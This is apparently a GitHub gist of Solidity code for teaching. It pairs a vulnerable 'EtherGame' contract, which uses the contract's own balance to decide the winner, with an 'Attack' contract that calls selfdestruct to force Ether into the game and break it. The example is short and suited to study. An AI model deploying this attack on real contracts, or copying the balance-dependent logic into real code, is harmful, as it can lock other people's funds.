Skip to content

Instantly share code, notes, and snippets.

@ArslanKathia
Created February 15, 2023 17:11
Show Gist options
  • Save ArslanKathia/d8666c8e5970acbf4bf596d4e866d4f0 to your computer and use it in GitHub Desktop.
Save ArslanKathia/d8666c8e5970acbf4bf596d4e866d4f0 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.17+commit.8df45f5f.js&optimize=false&runs=200&gist=
//SPDX-License-Identifier: MIT
pragma solidity >=0.8.2 < 0.9.0;
contract EtherGame{
uint public targetAmount;
address public winner;
constructor(){
targetAmount = 7 ether;
}
function deposit() public payable{
require(msg.value == 1 ether,"You can only send 1 Ether");
uint balance = address(this).balance;
require(balance<=targetAmount,"Game is over");
if(balance == targetAmount){
winner = msg.sender;
}
}
function claimReward() public{
require(msg.sender==winner,"Not Winner");
(bool sent,) = msg.sender.call{
value: address(this).balance
}("");
require(sent,"Failed to sent Ether");
}
}
contract Attack{
EtherGame etherGame;
constructor(EtherGame _etherGame){
etherGame = EtherGame(_etherGame);
}
function attack() public payable{
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment